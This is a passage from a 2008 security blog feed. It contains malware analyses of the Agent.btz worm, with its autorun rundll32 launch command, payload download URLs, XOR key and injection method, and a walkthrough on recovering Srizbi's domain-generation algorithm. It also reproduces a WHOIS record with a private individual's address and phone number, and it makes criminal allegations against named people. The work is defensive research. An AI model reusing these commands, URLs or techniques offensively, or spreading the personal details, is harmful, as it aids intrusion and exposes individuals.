href="http://www.symantec.com/en/hk/business/security_response/writeup.jsp?docid=2008-120308-3556-99&amp;tabid=2" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Automated threat analysis generated &lt;a href="http://www.threatexpert.com/report.aspx?md5=0aa203943d1e264973b2993ca09ef4c3" target="_blank"&gt;this write-up&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.threatexpert.com/" target="_blank"&gt;ThreatExpert&lt;/a&gt; automation tricked this threat with several intentionally implanted fake email contacts (such as Rusty Carr, Easton West, Justin Case and others). As soon as this threat picked up one of those contacts and attempted to submit an email to that person via the ThreatExpert’s emulated network services (with no traffic ever leaving the sandbox), it was immediately classified as  mass-mailer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-8710825826524311462?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2008/12/beware-christmas-promotions-from-coca.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-4275133384442157516</guid><pubDate>Sun, 30 Nov 2008 13:30:00 +0000</pubDate><atom:updated>2008-11-30T06:44:48.558-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Agent.btz</category><title>Agent.btz - A Threat That Hit Pentagon</title><description>&lt;br/&gt;According to this &lt;a href="http://www.latimes.com/news/printedition/front/la-na-cyberattack28-2008nov28,0,1970897.story" target="_blank"&gt;publication&lt;/a&gt;, the senior military leaders reported the malware breach incident that affected the U.S. Central Command network, including computers both in the headquarters and in the combat zones.&lt;br /&gt;&lt;br /&gt;The threat involved into this incident is referred as Agent.btz. This is a classification from &lt;a href="http://www.f-secure.com/v-descs/worm_w32_agent_btz.shtml" target="_blank"&gt;F-Secure&lt;/a&gt;. Other vendors name this threat mostly as &lt;a href="http://vil.nai.com/vil/content/v_149448.htm" target="_blank"&gt;Autorun&lt;/a&gt;. Some of the aliases assigned to this threat might seem confusing. There is even a clash with &lt;a href="http://www.threatexpert.com/report.aspx?md5=b1009c175ed7ecdb132318840fd4ef3c" target="_blank"&gt;another&lt;/a&gt; threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. This post is about F-Secure-classified Agent.btz – the one that was involved into the aforementioned incident.&lt;br /&gt;&lt;br /&gt;At the time of this writing, ThreatExpert system has received and processed several &lt;a href="http://www.threatexpert.com/reports.aspx?find=update/img0008/" target="_blank"&gt;different samples&lt;/a&gt; of this threat – further referred as Agent.btz. All these builds exhibit common functionality.&lt;br /&gt;&lt;br /&gt;Agent.btz is a DLL file. When loaded, its exported function DllEntryPoint() will be called automatically. Another exported function of this DLL, InstallM(),is called during the initial infection stage, via a command-line parameter for the system file rundll32.exe.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Infection Vector&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The infection normally occurs via a removable disk such as thumb drive (USB stick) or any other external hard drive. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. It will drop its copy on it and it will create autorun.inf file with an instruction to run that file. When a clean computer recognizes a newly connected removable drive, it will (by default) detect autorun.inf file on it, it will then open it and follow its instruction to load the malware.&lt;br /&gt;&lt;br /&gt;Another infection vector: when a clean computer attempts to map a drive letter to a shared network resource that has Agent.atz on it and the corresponding autorun.inf file, it will (by default) open autorun.inf file and follow its instruction to load the malware. Once infected, it will do the same with other removable drives connected to it or other computers in the network that attempt to map a drive letter to its shared drive infected with Agent.atz – hence, the replication.&lt;br /&gt;&lt;br /&gt;The autorun.inf file it creates contains the following command to run rundll32.exe:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#606090"&gt;rundll32.exe .\\[random_name].dll,InstallM&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Functionality&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;When Agent.btz DLL is loaded, it will decrypt some of the strings inside its body. Agent.btz file is not packed. The strings it decrypts are mostly filenames, API names, registry entries, etc.&lt;br /&gt;&lt;br /&gt;After decrypting its strings, Agent.btz dynamically retrieves function pointers to the following kernel32.dll APIs: WriteProcessMemory(), VirtualAllocEx(), VirtualProtectEx(). It will need these APIs later to inject malicious code into Internet Explorer process.&lt;br /&gt;&lt;br /&gt;Agent.btz spawns several threads and registers window class &lt;span style="font-family:Courier New;font-size:2;color:#606090"&gt;"zQWwe2esf34356d"&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;The first thread will try to query several parameters from the values under the registry key:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#606090"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\StrtdCfg&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Some of these parameters contain such details as time out periods, flags, or the name of the domain from which the additional components can be downloaded.&lt;br /&gt;&lt;br /&gt;The first thread will spawn 2 additional threads. One of them will wait for 5 minutes, and then it will attempt to download an encrypted binary from the domain specified in the parameters.&lt;br /&gt;&lt;br /&gt;For example, it may attempt to download the binaries from these locations:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#606090"&gt;http://biznews.podzone.org/update/img0008/[random digits].jpg&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#606090"&gt;http://worldnews.ath.cx/update/img0008/[random digits].jpg&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The downloaded binary will be saved under the file name $1F.dll into the temporary directory.&lt;br /&gt;&lt;br /&gt;Once the binary is saved, Agent.btz signals its threads with "wowmgr_is_loaded" event, saves new parameters into the registry values under the key "StrtdCfg", loads Internet Explorer process, decrypts the contents of the downloaded binary, injects it into the address space of Internet Explorer and then spawn a remote thread in it.&lt;br /&gt;&lt;br /&gt;At the time of this writing the contents of the binary is unknown as the links above are down. Thus, it’s not known what kind of code could have been injected into the browser process. The only assumption can be made here is that the remote thread was spawned inside Internet Explorer process in order to bypass firewalls in its attempt to communicate with the remote server.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Installation&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Agent.btz drops its copy into %system% directory by using a random name constructed from the parts of the names of the DLL files located in the %system% directory.&lt;br /&gt;&lt;br /&gt;It registers itself as an in-process server to have its DLL loaded with the system process explorer.exe. The CLSID for the in-process server is also random - it is produced by UuidCreate() API.&lt;br /&gt;&lt;br /&gt;This threat may also store some of its parameters by saving them into the values nParam, rParam or id under the system registry key below:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#606090"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashImage&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On top of that, Agent.btz carries some of its parameters in its own body – stored as an encrypted resource named CONFIG. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;File wmcache.nld&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The second spawned thread will wait for 10 seconds. Then, it’ll save its parameters and some system information it obtains in an XML file %system%\wmcache.nld.&lt;br /&gt;&lt;br /&gt;The contents of this file is encoded by XOR-ing it with the following mask:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#606090"&gt;1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Below is the decoded fragment of the XML file, provided as example:&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#606090"&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="unicode"?&amp;gt;&lt;br /&gt;&amp;lt;Cfg&amp;gt;&lt;br /&gt;&amp;lt;Ch&amp;gt;&lt;br /&gt;&amp;lt;add key="Id" value="3024688254" /&amp;gt;&lt;br /&gt;&amp;lt;add key="PVer" value="Ch 1.5" /&amp;gt;&lt;br /&gt;&amp;lt;add key="Folder" value="img0008" /&amp;gt;&lt;br /&gt;&amp;lt;add key="Time" value="29:11:2008 18:44:46" /&amp;gt;&lt;br /&gt;&amp;lt;add key="Bias" value="4294967285" /&amp;gt;&lt;br /&gt;&amp;lt;add key="PcName" value="%ComputerName%" /&amp;gt;&lt;br /&gt;&amp;lt;add key="UserName" value="%UserName%" /&amp;gt;&lt;br /&gt;&amp;lt;add key="WinDir" value="%windir%" /&amp;gt;&lt;br /&gt;&amp;lt;add key="TempDir" value="%temp%" /&amp;gt;&lt;br /&gt;&amp;lt;add key="WorkDir" value="%system32%" /&amp;gt;&lt;br /&gt;&amp;lt;add key="Cndr" value="0" /&amp;gt;&lt;br /&gt;&amp;lt;add key="List" value=""&amp;gt;&lt;br /&gt;&amp;lt;add key="       0" value="2" /&amp;gt;&lt;br /&gt;&amp;lt;/add&amp;gt;&lt;br /&gt;&amp;lt;add key="NList" value=""&amp;gt;&lt;br /&gt;&amp;lt;/add&amp;gt;&lt;br /&gt;&amp;lt;/Ch&amp;gt;&lt;br /&gt;...&lt;br /&gt;&amp;lt;/Cfg&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Besides the basic system information above, Agent.btz contains the code that calls GetAdaptersInfo() and GetPerAdapterInfo() APIs in order to query network adapter’s IP and MAC address, IP addresses of the network adapter’s default gateway, primary/secondary WINS, DHCP and DNS servers. The collected network details are also saved into the log file.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;File winview.ocx&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The second spawned thread will log threat activity into the file %system32%\winview.ocx.&lt;br /&gt;&lt;br /&gt;This file is also encrypted with the same XOR mask. Here is the decrypted example contents of that file:&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#606090"&gt;&lt;br /&gt;18:44:44 29.11.2008 Log begin:&lt;br /&gt;18:44:44 Installing to C:\WINDOWS\system32\[random_name].dll&lt;br /&gt;18:44:44 Copying c:\windows\system32\[threat_file_name].dll to C:\WINDOWS\system32\[random_name].dll (0)&lt;br /&gt;18:44:44 ID: {7761F912-4D09-4F09-B7AF-95F4173120A6}&lt;br /&gt;18:44:44 Creating Software\Classes\CLSID\{7761F912-4D09-4F09-B7AF-95F4173120A6}&lt;br /&gt;18:44:44 Creating Software\Classes\CLSID\{7761F912-4D09-4F09-B7AF-95F4173120A6}\InprocServer32\&lt;br /&gt;18:44:44 Set Value C:\WINDOWS\system32\[random_name].dll&lt;br /&gt;18:44:44 Creating SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\&lt;br /&gt;18:44:44 Native Id: 00CD1A40&lt;br /&gt;18:44:44 Log end.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The thread will be saving its parameters and system information into the aforementioned encrypted XML file in the loop – once in every 24 hours.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;File mswmpdat.tlb&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The original thread will then attempt to start 2 processes: tapi32d.exe and typecli.exe – these attempts are logged. Whenever Agent.btz detects a newly connected removable disk, it will also log the device details into the same log file %system%\mswmpdat.tlb.&lt;br /&gt;&lt;br /&gt;The contents of this log file is encrypted the same way – here is the decrypted fragment of it:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#606090"&gt;&lt;br /&gt;18:44:45 29.11.2008 Log begin:&lt;br /&gt;18:44:45 Creating ps C:\WINDOWS\system32\tapi32d.exe (2)&lt;br /&gt;18:44:45 Creating ps C:\WINDOWS\system32\typecli.exe (2)&lt;br /&gt;18:44:45 Log end.&lt;br /&gt;19:02:48 29.11.2008 Log begin:&lt;br /&gt;19:02:49 Media arrived: "D:" Label:"" FS:FAT SN:00000000&lt;br /&gt;19:02:49 Log end.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It is not clear what these 2 files are: tapi32d.exe and typecli.exe - the analyzed code does not create them. It is possible however that the missing link is in the unknown code it injects into Internet Explorer which can potentially download those files.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Files thumb.db&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;When Agent.btz detects a new drive of the type DRIVE_REMOVABLE (a disk that can be removed from the drive), it attempts to create a copy of the file %system%\1055cf76.tmp in the root directory of that drive as thumb.db.&lt;br /&gt;&lt;br /&gt;In opposite, if the newly connected drive already contains file thumb.db, Agent.btz will create a copy of that file in the %system% directory under the same name. It will then run %system%\thumb.db as if it was an executable file and then delete the original thumb.db from the connected drive.&lt;br /&gt;&lt;br /&gt;The analyzed code does not create 1055cf76.tmp, but if it was an executable file downloaded by the code injected into Internet Explorer (as explained above), then it would have been passed into other computers under the name thumb.db. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Files thumb.dd and mssysmgr.ocx&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Agent.btz is capable to create a binary file thumb.dd on a newly connected drive. The contents of this file starts from the marker 0xAAFF1290 and is followed with the individual CAB archives of the files winview.ocx (installation log), mswmpdat.tlb (activity log), and wmcache.nld (XML file with system information).&lt;br /&gt;&lt;br /&gt;When Agent.btz detects a new drive with the file thumb.dd on it (system info and logs collected from another computer), it will copy that file as %system%\mssysmgr.ocx.&lt;br /&gt;&lt;br /&gt;This way, the locally created files do not only contain system and network information collected from the local host, but from other compromised host (or hosts) as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-4275133384442157516?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-424076039251551952</guid><pubDate>Fri, 28 Nov 2008 14:14:00 +0000</pubDate><atom:updated>2008-11-28T07:39:11.002-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Srizbi Domain Generator Calculator</category><title>Srizbi's Domain Calculator</title><description>This write-up is a follow-up to an excellent &lt;a href="http://blog.fireeye.com/research/2008/11/technical-details-of-srizbis-domain-generation-algorithm.html" target="_blank"&gt;research&lt;/a&gt; conducted by Julia Wolf from FireEye that gives an insight into the algorithm used by Srizbi bot to calculate the domain name of its controller.&lt;br /&gt;&lt;br /&gt;A general ability to predict what domain names could be used by any given variant of Srizbi at any given date could potentially lead to blocking those domains from registration so that the authors of Srizbi would be left out of control of their botnet.&lt;br /&gt;&lt;br /&gt;Considering the number of variants of Srizbi and the complexity of its obfuscation technique used by its kernel mode driver, it'd be nice to have a helper tool to get the domain list quicker – so let's get to business.&lt;br /&gt;&lt;br /&gt;As Julia mentioned in her post, FireEye analyzed hundreds of Srizbi samples and came up with 55 different "magic numbers" used by all those samples.&lt;br /&gt;&lt;br /&gt;That "magic number" is a 4-byte value, which can be considered a unique key for every Srizbi botmaster, a buyer of Srizbi kit, or just a unique key for every new release of Srizbi generation/build, depending on its business model. Every key will produce a different set of domain names. Thus, it allows one botmaster with one key to keep his Srizbi segment independent from the segments controlled by other botmasters.&lt;br /&gt;&lt;br /&gt;It's not clear yet if the domain generation algorithm itself varies from one generation to another. For simplicity, let's assume that the algorithm stays the same.&lt;br /&gt;&lt;br /&gt;If the algorithm is consistent, it means that it can be replicated in the form of a domain name calculator. All it would have to take on its input is a key (the "magic number") and it would then generate on its output all possible domain names for the different dates – the same way the real Srizbi sample does if it has the same key.&lt;br /&gt;&lt;br /&gt;Before we go into the calculation algorithm itself, let's refresh a few approaches that might help to obtain the key from a given Srizbi sample.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.threatexpert.com/report.aspx?md5=0a3d35bdc34ae8a6ef3048a4e9e7ec3a" target="_blank"&gt;Srizbi&lt;/a&gt; infection starts from a dropper that creates and then loads a kernel mode driver. As its pretty common these days, the driver uses severely obfuscated code – if you choose to debug it, then it might be a long-long way to get it anywhere near. Once loaded, the driver hides its own file and the associated registry entries via a set of hooks in the kernel structures. For start, it could be easier to run the dropper in the virtual environment of your choice and then locate and dump its driver from kernel memory.&lt;br /&gt;&lt;br /&gt;The following image demonstrates how the Rootkit Unhooker tool can be used to locate and dump Srizbi driver (it fails to copy the file because of the hooks).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/STACoWRlaSI/AAAAAAAAAkw/wnkKLhS5uw0/s1600-h/unhooker.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 235px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/STACoWRlaSI/AAAAAAAAAkw/wnkKLhS5uw0/s400/unhooker.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5273718055848208674" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please note that Srizbi driver can be found by its name (2-3 random letters, followed by 2 random digits, followed by "sys") and by filesize (about 350Kb).&lt;br /&gt;&lt;br /&gt;The dumped driver can now be loaded into the disassembler. It might help to load it as a binary file (not a PE-file) with the loading offset specified as the base address reported by Rootkit Unhooker (e.g. 0xF9686000).&lt;br /&gt;&lt;br /&gt;Once the dump is loaded and disassembled, its domain generation algorithm can now be found easily - it's not obfuscated anymore as the driver has deobfuscated itself already.&lt;br /&gt;&lt;br /&gt;In order to comment those variable pointers that have their addresses outside the dump, it might help to get back to Rootkit Unhooker and dump relevant memory region as shown below:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/STADEGnugFI/AAAAAAAAAk4/09stAGyG57U/s1600-h/dump_region.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 293px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/STADEGnugFI/AAAAAAAAAk4/09stAGyG57U/s400/dump_region.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5273718532682448978" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On the picture above, an unknown pointer at the address 0xF789C82C in the listing contains the value 0x817863B0 – that address is beyond the scope of the driver dump (it was populated during run-time). By dumping the 32Mb memory region from kernel starting from 0x80000000, and loading it into a hex-viewer, the dump file contents can now be referenced by file offset, e.g. by going to its offset at 0x017863B0 one would clearly see a string "qwerty.." at that offset, thus the string pointer in the assembler listing can now be renamed into a meaningful alias.&lt;br /&gt;&lt;br /&gt;Note: the double frame in the picture above indicates the key ("magic number") we’re after.&lt;br /&gt;&lt;br /&gt;Having full domain generation algorithm at hand, it can now be copy-pasted into a newly created VC++ project with inline assembler code.&lt;br /&gt;&lt;br /&gt;This new code can now be compiled and run in order to generate domain names the same way Srizbi does. The benefit it provides is that it can conveniently be stepped through and studied, it can be modified to use different parameters such as dates and the key itself.&lt;br /&gt;&lt;br /&gt;Full source code of such calculator is provided &lt;a href="http://www.threatexpert.com/blog/srizbi/srizbi_domain_calculator.cpp" target="_blank"&gt;here&lt;/a&gt;. It can be compiled with any VC++ builder (from 6.0 and up).&lt;br /&gt;&lt;br /&gt;When run, the calculator will generate domain names for all dates in 2008 and 2009. The user of this code can then extend the dates or replace the hard-coded key with a variable controlled by a command-line switch.&lt;br /&gt;&lt;br /&gt;Now, let's have a look at the partial &lt;a href="http://www.threatexpert.com/blog/srizbi/srizbi_domain_list.txt" target="_blank"&gt;listing&lt;/a&gt; produced by the tool.&lt;br /&gt;&lt;br /&gt;Since 25 till 27 November 2008, there are 4 generated domain names:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;yqsqsqyg.com&lt;/li&gt;&lt;br /&gt;&lt;li&gt;aqiqiqaf.com&lt;/li&gt;&lt;br /&gt;&lt;li&gt;qqrqrqqd.com&lt;/li&gt;&lt;br /&gt;&lt;li&gt;yqgqgqys.com&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Let's take a random date in the future – e.g. 15 December 2008. For that date, the domain names in the listing are:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;aqueufor.com&lt;/li&gt;&lt;br /&gt;&lt;li&gt;yqdtdswu.com&lt;/li&gt;&lt;br /&gt;&lt;li&gt;qqrurppp.com&lt;/li&gt;&lt;br /&gt;&lt;li&gt;aqpopied.com&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;All we have to do now is to black-box Srizbi with the active sniffer on to see what DNS queries it generates in reality.&lt;br /&gt;&lt;br /&gt;System date: 27 November 2008:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/STADeqGc4fI/AAAAAAAAAlA/weWcMp1iOQ0/s1600-h/wireshark1.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 91px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/STADeqGc4fI/AAAAAAAAAlA/weWcMp1iOQ0/s400/wireshark1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5273718988883157490" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;System date: 15 December 2008:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/STADiFIlMqI/AAAAAAAAAlI/XxggkEf72BE/s1600-h/wireshark2.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 152px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/STADiFIlMqI/AAAAAAAAAlI/XxggkEf72BE/s400/wireshark2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5273719047679455906" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For both dates the results are consistent with the tool.&lt;br /&gt;&lt;br /&gt;It is interesting that the domain name yqsqsqyg.com is already registered to:&lt;br /&gt;&lt;font face="Courier New" size="2"&gt;&lt;br /&gt;Registrant:&lt;br /&gt; Ulugbek Asatopov&lt;br /&gt; Bestekar sokak, 29&lt;br /&gt; ka, 06080&lt;br /&gt; Ankara, AN ---&lt;br /&gt; TR&lt;br /&gt; +9 312 419 90 01 &lt;br /&gt;&lt;br /&gt;Domain Name: YQSQSQYG.COM&lt;br /&gt;&lt;br /&gt;Record last updated 11-27-2008 06:32:39 PM&lt;br /&gt;Record expires on 11-24-2009&lt;br /&gt;Record created on 11-24-2008&lt;br /&gt;&lt;br /&gt;Domain servers in listed order:&lt;br /&gt; NS0.DIRECTNIC.COM 69.46.233.245&lt;br /&gt; NS1.DIRECTNIC.COM 69.46.234.245&lt;br /&gt;&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;Thus, someone has registered the domain one day before all Srizbi bots with the same key (which could be an entire segment of Srizbi) started querying it for new SPAM templates. The domain record was last updated on 27 November - the last day when Srizbi bots were still using this domain name. Compelling accuracy, isn't it?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-424076039251551952?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2008/11/srizbis-domain-calculator.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_teq8tr511YQ/STACoWRlaSI/AAAAAAAAAkw/wnkKLhS5uw0/s72-c/unhooker.png' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-59677224183200797</guid><pubDate>Fri, 21 Nov 2008 04:11:00 +0000</pubDate><atom:updated>2008-11-20T20:29:12.085-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Morro Antivirus</category><title>Morro Antivirus?</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SSY27AISL5I/AAAAAAAAAjw/O7PTZQcUFYE/s1600-h/ballmer1.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 244px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SSY27AISL5I/AAAAAAAAAjw/O7PTZQcUFYE/s400/ballmer1.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5270960801158672274" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/SSY2_7J1ZBI/AAAAAAAAAj4/AP1M9KD2cwQ/s1600-h/ballmer2.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 174px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/SSY2_7J1ZBI/AAAAAAAAAj4/AP1M9KD2cwQ/s400/ballmer2.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5270960885722342418" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/Presspass/press/2008/nov08/11-18NoCostSecurityPR.mspx" target="_blank"&gt;Press Release&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-59677224183200797?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2008/11/morro-antivirus.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_teq8tr511YQ/SSY27AISL5I/AAAAAAAAAjw/O7PTZQcUFYE/s72-c/ballmer1.gif' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-7019874908112732916</guid><pubDate>Mon, 17 Nov 2008 12:01:00 +0000</pubDate><atom:updated>2009-09-23T16:31:59.856-07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>McColo Nikolai Kolya Jux</category><title>McColo - Who Was Behind It?</title><description>Last week we all &lt;a href="http://www.washingtonpost.com/wp-dyn/content/article/2008/11/12/AR2008111200658.html" target="_blank"&gt;witnessed&lt;/a&gt; the shutdown of the hosting provider McColo that was widely known for its affiliation with cyber criminals.&lt;br /&gt;&lt;br /&gt;An attempt to understand what McColo business was and who stood behind it led to some interesting discoveries.&lt;br /&gt;&lt;br /&gt;According to the evidence mined from multiple underground forums, McColo company was established by a 19-year old Moscow student. His name was Nikolai and his nickname was Kolya-McColo - hence, the name of his "business".&lt;br /&gt;&lt;br /&gt;Nikolai, the founder of McColo, has died in a tragic &lt;a href="http://translate.google.com/translate?u=http://www.ng.ru/events/2007-09-03/10_doroga.html&amp;hl=en&amp;ie=UTF-8&amp;sl=ru&amp;tl=en" target="_blank"&gt;accident&lt;/a&gt; in September 2007 during the drag racing on the streets of Moscow. At the time of the accident, he was in the car with his friend Jux. Their car has crashed into the pole at the speed of 200 Km/h - it was virtually torn in half:&lt;br /&gt;&lt;table&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_teq8tr511YQ/SSFfYE3F3PI/AAAAAAAAAjg/J99HeAr2IRA/s1600-h/1.jpg" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/SSFfYE3F3PI/AAAAAAAAAjg/J99HeAr2IRA/s320/1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5269597906226502898" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_teq8tr511YQ/SSFfdM9U8MI/AAAAAAAAAjo/5-TXFGTQJKk/s1600-h/2.jpg" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SSFfdM9U8MI/AAAAAAAAAjo/5-TXFGTQJKk/s320/2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5269597994299486402" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;McColo's friend, Jux, who was driving the car and who survived the accident, has once been slammed in the Russian hacking underground community as "kidala" (fraudster). Months before the accident, Jux has reportedly stolen some money from the "carders" (credit card fraudsters) who relied on his money laundering service.&lt;br /&gt;&lt;br /&gt;In an attempt to find Jux, one of the "carders" has even sponsored the writing of a song to deliver "the message" to Jux. The lyrics of that song are quite intriguing (translated from Russian):&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Poor architect Mr Smith has his credit card ripped off&lt;br /&gt;He's calling for doctor but the doctor won't come&lt;br /&gt;In the same time, one geek over computer 